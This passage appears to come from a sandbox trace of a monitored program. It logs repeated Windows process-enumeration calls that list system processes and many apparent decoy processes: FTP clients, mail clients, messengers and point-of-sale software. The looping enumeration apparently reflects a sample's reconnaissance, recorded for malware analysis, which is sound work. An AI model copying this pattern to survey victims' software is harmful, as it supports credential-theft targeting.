pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0263.024] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0263.026] CloseHandle (hObject=0x1024) returned 1 [0263.026] Sleep (dwMilliseconds=0x64) [0263.067] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1024 [0263.080] Process32First (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0263.082] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0263.084] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0263.086] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.087] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0263.089] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0263.091] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0263.093] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0263.095] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0263.147] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.149] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.151] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0263.153] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.155] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.156] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.158] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.161] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.163] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.164] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.166] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0263.168] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0263.170] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0263.172] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.173] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0263.175] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0263.177] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0263.179] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0263.181] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0263.183] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0263.185] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0263.186] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0263.188] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0263.190] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0263.303] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0263.304] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0263.306] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0263.307] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0263.308] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0263.309] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0263.311] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0263.312] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0263.313] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0263.315] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0263.316] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0263.318] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0263.319] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0263.320] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0263.322] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0263.323] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0263.325] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0263.326] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0263.328] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0263.329] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0263.331] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0263.332] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0263.334] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0263.335] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0263.336] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0263.338] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0263.340] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0263.402] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0263.404] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0263.406] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0263.408] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0263.410] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0263.412] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0263.414] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0263.416] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0263.418] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0263.420] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0263.422] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0263.424] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0263.426] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0263.427] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0263.429] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0263.431] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0263.432] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0263.434] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0263.436] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0263.438] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0263.440] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0263.492] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0263.493] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 